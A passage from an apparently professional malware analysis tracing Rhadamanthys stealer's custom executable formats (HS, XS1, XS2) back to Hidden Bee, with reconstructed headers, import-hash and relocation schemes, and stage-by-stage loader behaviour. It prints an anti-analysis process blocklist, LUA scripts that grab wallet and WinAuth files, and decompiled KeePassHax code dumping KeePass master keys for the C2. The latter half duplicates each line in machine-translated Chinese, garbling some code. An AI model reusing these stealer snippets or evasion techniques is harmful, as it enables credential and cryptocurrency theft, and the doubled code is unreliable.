Figure 24: The RS module unpacking the HS module from the embedded package

The header of the HS format:

const WORD HS_MAGIC = 0x5348;
namespace hs_exe {
const size_t HS_DATA_DIR_COUNT = 3;
enum data_dir_id {
HS_IMPORTS = 0,
HS_EXCEPTIONS,
HS_RELOCATIONS = 2
};
typedef struct {
DWORD dir_va;
DWORD dir_size;
} t_HS_data_dir;
typedef struct {
DWORD va;
DWORD size;
DWORD raw_addr;
} t_HS_section;
typedef struct {
DWORD dll_name_rva;
DWORD original_first_thunk;
DWORD first_thunk;
} t_HS_import;
typedef struct {
WORD magic; // 0x5352
WORD machine_id;
WORD sections_count;
WORD hdr_size;
DWORD entry_point;
DWORD module_size;
DWORD unk1;
DWORD module_base_high;
DWORD module_base_low;
DWORD unk2;
t_HS_data_dir data_dir[HS_DATA_DIR_COUNT];
t_HS_section sections[SECTIONS_COUNT];
} t_HS_format;
};

Some of the fields of the header were rearranged, yet this format is not that different from the previous one. One subtle difference is that this module allows for storing the original Module Base; in the RS format equivalent field does not exist, and 0 is used as a default base.

In some aspects, the HS format is simpler than the former one. For example, the import table is implemented exactly like in the Hidden Bee’s NE format, which resembles more of the one typical for PE. In the RS format, the names of imported functions are erased and loaded by hashes. Here, the original strings are preserved.

The complete converter of the HS format is available here:

Rhadamanthys’ latest format: XS

Recently observed samples of Rhadamanthys (version 0.4.5 and higher) bring another update to the custom formats. The RS format, as well as the HS, are replaced by a reworked version with an XS magic. This new format has two variants.

The first set of components that makes up Stage 2 of the malware (shipped in the initial binary) comes in a format that we denote as XS1. As we learn later, there is another variant with the same magic but with a slightly modified header. It is used for the Stage 3, which is downloaded from the C2: containing the main stealer component and its submodules. The latter format we denote as XS2.

Unpacking the custom format

Analogously to the previous case, let’s start with an overview of how to obtain the first custom module. We can jump right into the interesting offsets by tracing the Rhadamanthys Stage 1 PE with Tiny Tracer. The resulting tracelog is available here.

This time, before the vital part is unpacked, the main executable examines its environment by enumerating running processes and comparing them against the list of known analysis tools:

procexp.exe
procexp64.exe
tcpview.exe
tcpview64.exe
Procmon.exe
Procmon64.exe
vmmap.exe
vmmap64.exe
portmon.exe
processlasso.exe
Wireshark.exe
Fiddler Everywhere.exe
Fiddler.exe
ida.exe
ida64.exe
ImmunityDebugger.exe
WinDump.exe
x64dbg.exe
x32dbg.exe
OllyDbg.exe
ProcessHacker.exe
idaq64.exe
autoruns.exe
dumpcap.exe
de4dot.exe
hookexplorer.exe
ilspy.exe
lordpe.exe
dnspy.exe
petools.exe
autorunsc.exe
resourcehacker.exe
filemon.exe
regmon.exe
windanr.exe

If any process from the list is detected, the sample exits.

Otherwise, it proceeds by unpacking the next stage shellcode, which is very similar to the one used by the previous version. Next, it redirects the execution there. As we can see from the TinyTracer tracelog, the first shellcode is called at RVA 0x2459:

2459;called: ?? [11790000+0]
> 11790000+2fe;kernel32.LocalAlloc
> 11790000+ba;kernel32.LocalAlloc
> 11790000+260;kernel32.LocalFree
> 11790000+34c;kernel32.VirtualAlloc
> 11790000+3a4;kernel32.VirtualProtect
> 11790000+3bb;kernel32.LocalFree
> 11790000+52;called: ?? [f991000+88]
> f991000+80;called: ?? [f995000+d4d]
> f995000+d58;called: ?? [f998000+0]
> f998000+ca;called: ?? [f995000+d5d]

Further on, there is a transition to a region allocated from within the first shellcode. Again, we can observe those transitions under the debugger.

First, setting the breakpoint at RVA 0x2459 in the main sample, we can find the shellcode being called:

Figure 25: The Stage 1 module redirecting the execution into the
intermediary shellcode
Figure 25: The Stage 1 module redirecting the execution into the intermediary shellcode

The dumped memory region: 806821eb9bb441addc2186d6156c57bf

Not much about the functionality of this shellcode has changed compared to the previous version. Once again, it is responsible for unpacking the next stage and redirecting the execution there. We can dump the raw XS module right after it is decompressed:

Figure 26: The decompression function within the shellcode reveals
the module in the XS format
Figure 26: The decompression function within the shellcode reveals the module in the XS format

We’ll examine the dumped module later.

Example of the dumped XS module: 9f0bb1689df57c3c25d3d488bf70a1fa

The XS format: Variant 1

As mentioned earlier, there are two slightly different variants of the XS format. Let’s start with the first one used for the initial set of components, including the module we unpacked in the section above.

The reconstructed structure of the header:

struct xs_section
{
_DWORD rva;
_DWORD raw;
_DWORD size;
_DWORD flags;
};
struct xs1_data_dir
{
_DWORD size;
_DWORD rva;
};
struct xs1_format
{
_WORD magic;
_WORD nt_magic;
_WORD sections_count;
_WORD imp_key;
_WORD header_size;
_WORD unk_3;
_DWORD module_size;
_DWORD entry_point;
xs1_data_dir imports;
xs1_data_dir exceptions;
xs1_data_dir relocs;
xs_section sections[SECTIONS_COUNT];
};
struct xs1_import
{
_DWORD dll_name_rva;
_DWORD first_thunk;
_DWORD original_first_thunk;
_BYTE obf_dll_len[4];
};

As before, the module is decompressed and then mapped by the intermediary shellcode:

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 27: The intermediary shellcode (806821eb9bb441addc2186d6156c57bf) unpacks and maps the XS1 module
图 27:中间外壳代码 ( 806821eb9bb441addc2186d6156c57bf) 解压缩并映射 XS1 模块

After remapping the XS module from the raw format to the virtual one, it redirects the execution to the module’s Entry Point.
将 XS 模块从原始格式重新映射到虚拟格式后,它会将执行重定向到模块的入口点。

The overview of the start function of the XS module is shown below.
XS模块启动功能的概述如下所示。

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 28: The start function of the XS module.
图 28:XS 模块的启动功能。

Compared to the previously used RS format, there are several changes besides the simple rearrangements of the fields and the addition of some new fields.
与以前使用的 RS 格式相比,除了字段的简单重新排列和添加一些新字段之外,还有一些变化。

The first modification concerns how the format is recognized as either 32-bit or 64-bit. In the PE format, there are two different fields that we can use to distinguish between them. The first one is the “Machine” field in the FileHeader. The other is “Magic” in the Optional Header. The copy of the “Machine” field was used previously in the Hidden Bee and Rhadamanthys custom formats. This time the author replaced it with the alternative and used the “Optional Header → Magic”.
第一个修改涉及如何将格式识别为 32 位或 64 位。在 PE 格式中,我们可以使用两个不同的字段来区分它们。第一个是FileHeader中的“Machine”字段。另一个是可选标头中的“魔术”。“机器”字段的副本以前用于隐藏蜜蜂和Rhadamanthys自定义格式。这一次,作者将其替换为替代方案,并使用了“可选标题→魔术”。

But there are other, more meaningful changes further on. First of all, a new obfuscation is applied. The names of the DLLs are no longer in plaintext but processed by a simple algorithm. The key is customizable and stored in the header. The decoding function is called by a wrapper function of LoadLibaryA, so the deobfuscation takes place just before the needed DLL is about to be loaded:
但还有其他更有意义的变化。首先,应用新的混淆。DLL 的名称不再是纯文本,而是由简单的算法处理。密钥是可自定义的,并存储在标头中。解码函数由 的 LoadLibaryA 包装函数调用,因此去混淆处理在即将加载所需的 DLL 之前进行:

Figure 29: A wrapper function called during the loading of the
module’s imports
Figure 29: A wrapper function called during the loading of the module’s imports
图 29:加载模块导入期间调用的包装器函数

The decoding of the name is done by a custom, XOR-based algorithm:
名称的解码由基于 XOR 的自定义算法完成:

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 30: A function decoding DLL names

The imported functions are still loaded by their checksums (just like in the RS format), but the checksum algorithm has changed. This is the implementation from the RS module:

namespace rs_exe {
DWORD calc_checksum(BYTE* a1)
{
BYTE* ptr;
unsigned int result;
char i;
int v4;
int v5;
ptr = a1;
result = 0;
for (i = *a1; i; ++ptr)
{
v4 = (result >> 13) | (result << 19);
v5 = i;
i = ptr[1];
result = v4 + v5;
}
return result;
}
};

In the XS format, it was replaced with a different one:

namespace xs_exe {
int calc_checksum(BYTE* name_ptr, int imp_key)
{
while (*name_ptr)
{
int val = (unsigned __int8)*name_ptr++ ^ (16777619 * imp_key);
imp_key = val;
}
return imp_key;
}
};

The new algorithm was also enhanced by the introduction of an additional key that can be supplied by the caller.

Once again, the checksums are stored in places of the thunks, but their position got slightly modified. In the RS format, the checksums were stored at PIMAGE_IMPORT_BY_NAME. Now they are stored at PIMAGE_IMPORT_BY_NAME → Name, so it is shifted by one WORD.

As for the key, it uses imp_key stored in the XS header, and it is the same as for decoding the DLL names. As the DLL name is now obfuscated, another field was added to store its original length. The author also decided to obfuscate this value with the help of another simple algorithm.

The full imports loading function of the XS format looks like this:

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 31: Imports loading of the XS module.

The other change introduced in the new format is a custom relocations table. In the previous format, as well as in the formats used by the Hidden Bee, relocations were the only component identical to the one used by the PE. This time, the author decided to change it and created his own modified way of relocating the module.

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 32: The function applying relocations for the XS module

The stored relocations table looks very different than the one used by PE. Reconstruction of the structures used:

struct xs_relocs_block
{
DWORD page_rva;
DWORD entries_count;
};
struct xs_relocs // the main structure, pointed by the data directory RVA
{
DWORD count;
xs_relocs_block blocks[1];
};
// after the list of reloc blocks, there are entries in the following format:
struct xs_reloc_entry {
BYTE field1_hi;
BYTE mid;
BYTE field2_low;
};

Offsets of the fields to be relocated are stored in pairs and compressed into 3 bytes.

First offset from the pair:

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 33: Relocation offsets are stored in pairs within 3 bytes. The first pair consists of the first byte and the last nibble of the second byte.
图 33:重定位偏移量成对存储在 3 个字节内。第一对由第一个字节和第二个字节的最后一个半字节组成。

Second offset from the pair:
货币对的第二个偏移量:

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 34: Relocation offsets are stored in pairs within 3 bytes. The second pair consists of the first nibble of the second byte and the third byte.
图 34:重定位偏移量成对存储在 3 个字节内。第二对由第二个字节的第一个半字节和第三个字节组成。

The RVA of the field to be relocated is calculated by page_rva + offset. There is no default base, so the new module base is simply added to the field content.
要重新定位的字段的 RVA 由 计算 page_rva + offset 。没有默认的库,因此新的模块库只是添加到字段内容中。

The complete converter of the XS format is available here:
XS格式的完整转换器可在此处获得:

The XS format: Variant 2
XS格式:变体2

When we reach the Stage 3 of the malware and follow the unpacked components that are downloaded from the C2, we once again see the familiar XS header revealed in memory:
当我们到达恶意软件的第 3 阶段并遵循从 C2 下载的解压缩组件时,我们再次看到内存中显示的熟悉的 XS 标头:

Figure 35: The next stage module unpacked from the package downloaded
from the C2
Figure 35: The next stage module unpacked from the package downloaded from the C2
图 35:从从 C2 下载的包中解压缩的下一阶段模块

Although at first glance, we may think that we are dealing with an identical format, when we take a closer look, we find that the previous converter no longer works. The format has undergone subtle yet significant modifications. The first thing that we may notice is that information of whether the module is 32-bit or 64-bit is no longer stored in the header. The first field after the XS magic now stores the number of sections. There are also other fields that have been swapped or removed compared to the first XS variant. The reconstruction of the header:
尽管乍一看,我们可能会认为我们正在处理相同的格式,但当我们仔细观察时,我们发现以前的转换器不再起作用。该格式经历了微妙但重大的修改。我们可能会注意到的第一件事是,模块是 32 位还是 64 位的信息不再存储在标头中。XS魔术之后的第一个字段现在存储部分数。与第一个XS变体相比,还有其他字段已被交换或删除。标头的重建:

struct xs_section
{
_DWORD rva;
_DWORD raw;
_DWORD size;
_DWORD flags; //a section can be skipped if the flag is not set
};
struct xs2_data_dir
{
_DWORD rva;
_DWORD size;
};
struct xs2_format
{
_WORD magic;
_WORD sections_count;
_WORD header_size;
_WORD imp_key;
_DWORD module_size;
_DWORD entry_point;
_DWORD entry_point_alt;
xs2_data_dir imports;
xs2_data_dir exceptions;
xs2_data_dir relocs;
xs_section sections[SECTIONS_COUNT];
};
struct xs2_import
{
_DWORD dll_name_rva;
_DWORD first_thunk;
_DWORD original_first_thunk;
_BYTE obf_dll_len[2];
};

The Data Directory fields were swapped. In addition, in the import record, the obfuscated length of the DLL name is now stored as 2 bytes instead of 4 bytes. Some other fields of the XS main header also have been relocated or removed.

Another detail that has changed is the way sections are mapped from the raw format to virtual. Now, some of the sections can be excluded from loading based on the flag in the section’s header.

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 36: The intermediary shellcode (de838d7fc201b6a995c30b717172b470) mapping sections of an XS2 module

This is the trick that the author uses in order to disrupt the dumping of the module from memory. The vital sections are separated by inaccessible regions that make reading the continuous memory area difficult.

Aside from these few changes, both XS variants are still very similar. They contain the same import resolution, as well as the same way of applying relocations.

Similarities across the formats

In addition to some fields being swapped or others removed, we can see a large overlap of the discussed formats that doesn’t just stem from their common predecessor, PE.

As we can see, the initial part of the header is consistent between Hidden Bee’s NS and Rhadamanthys’ RS and HS formats:

typedef struct {
WORD magic;
WORD machine_id;
WORD sections_count;
WORD hdr_size;
DWORD entry_point;
DWORD module_size;
//...
}

Next, a minimized version of the Data Directory is used. It contains only a few records – usually Imports and Relocations (but it may also contain an Exception Table).

After the Data Directory, the list of sections follows, which was further minimized by removing the Characteristics field.

One of the improvements that was introduced in the RS format is the obfuscation of the import names. The original strings are now replaced by checksums, stored in the place of PIMAGE_IMPORT_BY_NAME.

The new XS format is clearly the next stage of evolution. The function names are also loaded by checksums but with an additional obfuscation that necessitates using the customizable key stored in the header. In addition, the library names are now stored in obfuscated form.

Overall, it is visible that the custom executable formats are subject to continuous evolution. The newly introduced changes are meant to obfuscate it further and increasingly diverge from the original PE format.

Format Customized PE header Customized imports loading Customized relocations Customized exception handling
NS partial x
RS x
HS partial x
XS

The HS format of Rhadamanthys is the closest to the NS format from Hidden Bee. Below, we can see a comparison of the headers:

Figure 37: Highlighted differences between the reconstructed header
of the NS format (Hidden Bee) and the HS format (Rhadamanthys)
Figure 37: Highlighted differences between the reconstructed header of the NS format (Hidden Bee) and the HS format (Rhadamanthys)

The benefits of understanding custom formats

The main benefit of understanding the custom formats is that it enables us to reconstruct them as PE files. This makes them easier to analyze, as they can be parsed by standard analysis tools.

In this section, we review the converted results (PEs) that we obtained and provide an overview of their functionality. We also highlight how the equivalent components have changed across the different versions.

Let’s start by comparing the converted Stage 2 modules of the RS and XS1 formats.

The 2nd stage loader: RS converted

After the loading of this module is completed, the execution is redirected to the main function.

As mentioned earlier (Figure 15), the module depends on data that is passed from Stage 1, namely the compressed package with other components and the encrypted configuration, which is protected by the RC4 algorithm.

The RC4-encrypted block is decrypted at the beginning of the function using the hardcoded key.

Figure 38: The main function of the RS module. The decrypted
configuration is passed to the next function.
Figure 38: The main function of the RS module. The decrypted configuration is passed to the next function.

If the decryption of the configuration is successful, the output block should start with the magic !RHY. After the verification, the sample makes sure that there isn’t another instance running by trying to lock the mutex. After both checks are passed, the config and the compressed package are passed to the next function, where the main functionality of the modules is deployed.

As it turns out, the current module incorporates multiple different features, such as:

  • Evasion
  • Loading of the further components from the supplied package
  • Connecting to the C2 and downloading the next stage

The URL used to contact the C2 is obtained from the config. It is used to fetch Stage 3, which will be loaded either into the current process (if run on a 32-bit environment) or into another 64-bit process.

First, the deobfuscated URL is stored in another structure that is passed to a function responsible for the HTTP connection:

Figure 39: Setting up the structures used by the C2
communication.
Figure 39: Setting up the structures used by the C2 communication.

Before the connection is attempted, the malware calls a variety of different environment checks in order to evade sandboxes and other supervised environments.

Figure 40: The function deploying evasion checks before the
connection to the C2 is attempted.
Figure 40: The function deploying evasion checks before the connection to the C2 is attempted.

Which evasion checks are going to be enabled depends on the flags that were passed from the configuration block (the !RHY format).

Figure 41: The deployed environment checks depend on the flags set in
the configuration.
Figure 41: The deployed environment checks depend on the flags set in the configuration.

The code performing the checks is mostly copied from an open-source utility, Al-Khaser.

The connection with the C2 is established only if the checks pass.

Figure 42: Inside the function setting up the callbacks executed
during the HTTP/S connection.
Figure 42: Inside the function setting up the callbacks executed during the HTTP/S connection.

The function denoted as parse_response is responsible for decoding the next stage that was downloaded from the C2 and hidden in a media file (JPG). In the current case, the expected output is a package in a custom !Rex format, which is a virtual filesystem that contains additional components. If the payload is fetched, decoded, and passes validation, the malware loads the retrieved components. The way in which it proceeds depends if the main malware executable (that is 32-bit) is running on a 64-bit or a 32-bit system.

On a 32-bit system, the next stage is loaded directly into the current process. By following the related part of the code, we can conclude that the next stage component is expected to be a shellcode. First, a small data structure is prepared and filled by all the elements that the shellcode needs to run: a small custom IAT containing the necessary functions, as well as data, such as the RC4 key.

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 43: Preparing the data for the shellcode and deploying it.

If the malware is executed in a 64-bit environment, it will first redeploy itself in a 64-bit mode. To do so, it needs additional components fetched from the compressed block.

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 44: Execution path for the 64-bit environment: creating named mapping to share information between the processes unpacking a DLL to be deployed.

We can also see that the malware creates a named mapped section that will be used for sharing data between the components. The name of the section is first randomly generated. Then, together with some other data, it is filled into the next shellcode (prepare.bin) fetched from the initial package. This model of using named mapped sections to share data between different components was also used extensively by Hidden Bee.

Looking at the above code, we can see that the compressed data block is first uncompressed. At this point, the components are still loaded from the first package passed from the Stage 1 binary (rather than from the downloaded one). Elements stored inside the package are fetched by their names. Two elements are referenced: prepare.bin and dfdll.dll.

This DLL is further dropped into the %APPDATA% directory, disguised as a DLL related to NSIS installers.

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 45: Fragment of the code responsible for unpacking the DLL and preparing the arguments that are passed to the deployed export function

Overall, the main purpose of this stage is to download and deploy the final malicious components, which are shipped in a custom package.
总体而言,此阶段的主要目的是下载和部署最终的恶意组件,这些组件以自定义包的形式提供。

The 2nd stage loader: XS1 converted
第二级装载机:XS1 转换

Let’s have a look at the next version of the analogous loader, this time converted from the XS binary.
让我们看一下类似加载器的下一个版本,这次是从XS二进制文件转换而来的。

Just like in the case of the RS format, the start function of the XS module completes self-loading and then proceeds to the main function.
就像在 RS 格式的情况下一样,XS 模块的启动功能完成自加载,然后继续主功能。

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 46: The function at the Entry Point of the XS module
图 46:XS 模块入口点处的功能

Inside the main_func, the passed configuration gets decrypted and verified.
在 中 main_func ,传递的配置将被解密和验证。

Figure 47: The main function of the XS module: After config decoding
and verification, the execution proceeds to load the next modules.
Figure 47: The main function of the XS module: After config decoding and verification, the execution proceeds to load the next modules.
图 47:XS 模块的主要功能:配置解码和验证后,执行继续加载下一个模块。

The way in which the config is deobfuscated slightly changed compared to the RS module. Now the data is passed as Base64 encoded with a custom charset (ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz*$). After being decoded, it is RC4 decrypted (with the same key as used by the previous version). Then, another layer of deobfuscation follows: the result is processed with an XOR-based algorithm. While the deobfuscation process is more complicated, the result has an analogous format to what we observed in the RS versions. Example:
与 RS 模块相比,配置的去混淆方式略有变化。现在,数据以 Base64 编码的形式传递,并使用自定义字符集 ( ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz*$ )。解码后,它被 RC4 解密(使用与先前版本相同的密钥)。然后,接下来是另一层去混淆:使用基于 XOR 的算法处理结果。虽然去混淆过程更复杂,但结果的格式类似于我们在 RS 版本中观察到的格式。例:

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 48: The decrypted configuration (from the XS format).

If the config was successfully decrypted, the malware proceeds with its initialization. First, it verifies if it was already run by checking the value sn under its installation key, impersonating SibCode: HKEY_CURRENT_USER: Software\SibCode. The stored value should contain the timestamp of the malware’s last run. If the last run time was too recent (below the threshold), the malware won’t proceed.

Figure 49: The function checking the values saved in the
registry.
Figure 49: The function checking the values saved in the registry.

It further checks if the instance is already running by verifying the mutex (generated in a format MSCTF.Asm.{%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} just as in the previous version of the loader.).

Depending on the Windows version, it may try to rerun itself with elevated privileges, using runas.

Otherwise, it proceeds to the next function, denoted as decrypt_and_load_modules. This function is mainly used for loading and deploying other components from the package that was passed from the previous layer. The snippet is given below. Note that in this case as well, the author added additional obfuscation: a padding of random bytes that is filled before the actual module start.

Figure 50: Fragment of the code responsible for fetching and loading
additional custom module (”unhook.bin”).
Figure 50: Fragment of the code responsible for fetching and loading additional custom module (”unhook.bin”).

Compared to Stage 2 in the earlier analyzed version, the biggest change is the increased modularity: now the main module of the stage is just a loader, and each part of the functionality is separated into a distinct unit. Initially, most of the above functionalities were combined in a single Stage 2 component. This shift towards modularity is a gradual one across consecutive versions.

An overview of the modules is given below.

Name Format Description
prepare.bin shellcode The initial stub injected into a process, responsible for loading into it further components
proto.bin shellcode
netclient.bin XS Responsible for the connection with the C2 and downloading of further modules
phexec.bin XS Prepares stubs with extracted syscalls
unhook.bin XS Checks DLLs against hooks
heur.bin XS
ua.txt plaintext A list of user-agents (a random user-agent from the list will be selected and used for the internet connection)
dt.bin XS Evasion checks
commit.bin XS

It is clear that the author is progressing toward increased customization. Even the list of User Agents is now configurable and stored in a separate file (ua.txt). It is decoded from the package and then passed to the further module, netclient.bin, which establishes the connection to the C2. There are also more options to deliver the final stage. In the previous version, it was shipped as a JPG, and now it can also be delivered as a WAV.

Figure 51: Parsing the downloaded content. Depending on the retrieved
content, a JPG or WAV parsing function is selected.
Figure 51: Parsing the downloaded content. Depending on the retrieved content, a JPG or WAV parsing function is selected.

The functions responsible for decoding both forms of the payloads are analogous.

The fragment of JPG decoding – after the payload decryption, the SHA1 hash stored in the header is compared with the hash that is calculated from the content:

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 52: Decoding the package from the JPG file
图 52:从 JPG 文件解码包

The fragment of WAV decoding – note that for verification, a different hash is used: SHA256 instead of SHA1:
WAV 解码的片段 – 请注意,为了验证,使用了不同的哈希:SHA256 而不是 SHA1:

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 53: Decoding the package from the WAV file
图 53:从 WAV 文件解码包

After decoding the downloaded file, we obtain another package containing further modules.
解码下载的文件后,我们获得了另一个包含更多模块的包。

Figure 54: The package decoded from the WAV is revealed in memory.
Hash verification passed.
Figure 54: The package decoded from the WAV is revealed in memory. Hash verification passed.
图 54:从 WAV 解码的包显示在内存中。哈希验证通过。

An analogous way of delivering further components was used by Hidden Bee (details described in the Malwarebytes article: [9]).

Since the media files are used for hiding the payload, this way of delivery is sometimes called steganographic. However, note that it is not a steganography in the real meaning of this word. The data is stored not within, but after the actual content of the JPG or WAV file, in encrypted form.

The stealer component (HS/XS2 format)

The main component of the malware is downloaded from the C2 and revealed as the third stage. Depending on the version, it was observed in HS or XS2 custom formats. The component is responsible for the core operations of the malware, related to stealing information. During its execution, it further loads additional modules from the same package, some of which are executables in the same custom format.

Let’s have a quick look at selected features, mainly focusing on the HS variant.

The building blocks of the module’s start function are similar to the cases described earlier: finishing the module’s loading process and then passing the execution to the main function. However, we can see some new functions were added at this initial stage. For example, there is a function installing a patch responsible for AMSI bypass. This bypass is needed due to the fact that the current module is going to load .NET modules and deploy malicious PowerShell scripts.

Figure 55: Start function of the main stealer component (HS
variant)
Figure 55: Start function of the main stealer component (HS variant)

The main function of the module contains different execution paths, which are selected depending on the command ID that was passed as one of the arguments. That means the layer above decides which actions are deployed. Many of the commands are responsible for loading/unloading certain modules and injection into other processes. Other commands are involved in the immediate deployment of malicious capabilities.

Most of the additional modules are fetched by hardcoded paths that we can find in the binary. Example:

/bin/runtime.exe
/extension/%08x.lua
/bin/i386/stub.dll
/bin/KeePassHax.dll
/bin/i386/stubmod.bin
/bin/i386/coredll.bin
/bin/i386/stubexec.bin
/bin/amd64/preload.bin
/bin/amd64/coredll.bin
/bin/amd64/stub.dll

The path format is analogous to what we observed in Hidden Bee. We provide additional explanations in a later chapter.

Just like Hidden Bee, Rhadamanthys can run LUA scripts. In the older version of the module (HS variant), the scripts were referenced by paths with the .lua extension:

Figure 56: Fragment of the function fetching LUA extensions from the
package (HS variant).
Figure 56: Fragment of the function fetching LUA extensions from the package (HS variant).
图 56:从包中获取 LUA 扩展的函数片段(HS 变体)。

In the latest (XS) version, the extension has been replaced with a custom one, .xs:
在最新 (XS) 版本中,扩展已替换为自定义扩展: .xs

Figure 57: Fragment of the function fetching LUA extensions from the
package (XS variant).
Figure 57: Fragment of the function fetching LUA extensions from the package (XS variant).
图 57:从包中获取 LUA 扩展的函数片段(XS 变体)。

However, looking inside the unpacked content, we can see that the scripts didn’t change that much and are still written in LUA.
但是,查看解压缩的内容,我们可以看到脚本没有太大变化,仍然是用LUA编写的。

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 58: The LUA script revealed in memory
图 58:内存中显示的 LUA 脚本

The malware supports up to 100 scripts, but only 60 were used in the analyzed cases. The scripts implement a variety of targeted stealers.
该恶意软件最多支持 100 个脚本,但在分析的案例中仅使用了 60 个脚本。这些脚本实现了各种有针对性的窃取程序。

For example, some of them are used for stealing specific cryptocurrency wallets:
例如,其中一些用于窃取特定的加密货币钱包:

local file_count = 0
if not framework.flag_exist("W") then
return
end
local filenames = {
framework.parse_path([[%AppData%\DashCore\wallets\wallet.dat]]),
framework.parse_path([[%LOCALAppData%\DashCore\wallets\wallet.dat]])
}
for _, filename in ipairs(filenames) do
if filename ~= nil and framework.file_exist(filename) then
if file_count > 0 then
break
end
framework.add_file("DashCore/wallet.dat", filename)
file_count = file_count + 1
end
end
if file_count > 0 then
framework.set_commit("!CP:DashCore")
end

Or account profiles:

local files = {}
local file_count = 0
if not framework.flag_exist("2") then
return
end
local filename = framework.parse_path([[%AppData%\WinAuth\winauth.xml]])
if path ~= nil and framework.path_exist(path) then
framework.add_file("winauth.xml", filename)
framework.set_commit("$[2]WinAuth")
end

The set of additional modules contain also some .NET executables (written in .NET 4.6.1). For example, the module named runtime.exe that is responsible for running supplied Powershell scripts:

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 59: The .NET module: runtime.exe (decompiled using dnSpy)
图 59:.NET 模块:运行时.exe(使用 dnSpy 反编译)

The KeePassHax.dll is another .NET executable, responsible for dumping KeePass credentials and sending them to the C2. Fragment of the code:
这是 KeePassHax.dll 另一个.NET可执行文件,负责转储KeePass凭据并将其发送到C2。代码片段:

// Token: 0x06000006 RID: 6 RVA: 0x00002150 File Offset: 0x00000350
令牌:0x06000006 RID:6 RVA:0x00002150文件偏移量:0x00000350
private static void KcpDump()
私有静态空 KcpDump()
{
Dictionary<string, byte[]> dictionary = new Dictionary<string, byte[]>();
字典<字符串,字节[]>字典=新字典<字符串,字节[]>();
object fieldInstance = Assembly.GetEntryAssembly().EntryPoint.DeclaringType.GetFieldStatic("m_formMain").GetFieldInstance("m_docMgr").GetFieldInstance("m_dsActive").GetFieldInstance("m_pwDb");
object fieldInstance = Assembly.GetEntryAssembly()。EntryPoint.DeclaringType.GetFieldStatic(“m_formMain”).GetFieldInstance(“m_docMgr”).GetFieldInstance(“m_dsActive”).GetFieldInstance(“m_pwDb”);
object fieldInstance2 = fieldInstance.GetFieldInstance("m_pwUserKey");
object fieldInstance2 = fieldInstance.GetFieldInstance(“m_pwUserKey”);
string s = fieldInstance.GetFieldInstance("m_ioSource").GetFieldInstance("m_strUrl").ToString();
string s = fieldInstance.GetFieldInstance(“m_ioSource”).GetFieldInstance(“m_strUrl”).ToString();
IEnumerable enumerable = (IList)fieldInstance2.GetFieldInstance("m_vUserKeys");
IEnumerable enumerable = (IList)fieldInstance2.GetFieldInstance(“m_vUserKeys”);
dictionary.Add("U", Encoding.UTF8.GetBytes(s));
字典。Add(“U”, Encoding.UTF8.GetBytes(s));
foreach (object obj in enumerable)
foreach (对象 obj in enumerable)
{
string name = obj.GetType().Name;
字符串名称 = obj。GetType()。名字;
if (!(name == "KcpPassword"))
如果 (!(名称 == “Kcp密码”))
{
if (!(name == "KcpKeyFile"))
如果 (!(名称 == “KcpKeyFile”))
{
if (name == "KcpUserAccount")
if (name == “KcpUserAccount”)
{
byte[] value = (byte[])obj.GetFieldInstance("m_pbKeyData").RunMethodInstance("ReadData", Array.Empty<object>());
字节[] 值 = (字节[])obj.GetFieldInstance(“m_pbKeyData”).RunMethodInstance(“ReadData”, Array.Empty());
dictionary.Add("A", value);
字典。添加(“A”,值);
}
}
else
{
object fieldInstance3 = obj.GetFieldInstance("m_strPath");
对象字段实例 3 = obj。GetFieldInstance(“m_strPath”);
dictionary.Add("K", Encoding.UTF8.GetBytes(fieldInstance3.ToString()));
字典。Add(“K”, Encoding.UTF8.GetBytes(fieldInstance3.ToString()));
}
}
else
{
string s2 = (string)obj.GetFieldInstance("m_psPassword").RunMethodInstance("ReadString", Array.Empty<object>());
字符串 S2 = (字符串)obj.GetFieldInstance(“m_psPassword”).RunMethodInstance(“ReadString”, Array.Empty());
dictionary.Add("P", Encoding.UTF8.GetBytes(s2));
字典。Add(“P”, Encoding.UTF8.GetBytes(s2));
}
}
Program.KcpDumpSendData(dictionary);
Program.KcpDumpSendData(dictionary);
}

Note – Covering the full functionality of this Stage is out of the scope of this article. Some of it was described in the previous Check Point Rhadamanthys publication [1] and may be continued as the next part of this series.
注意 – 涵盖此阶段的全部功能超出了本文的范围。其中一些在之前的Check Point Rhadamanthys出版物[1]中有所描述,并可能作为本系列的下一部分继续。

Other similarities with Hidden Bee
与隐藏的蜜蜂的其他相似之处

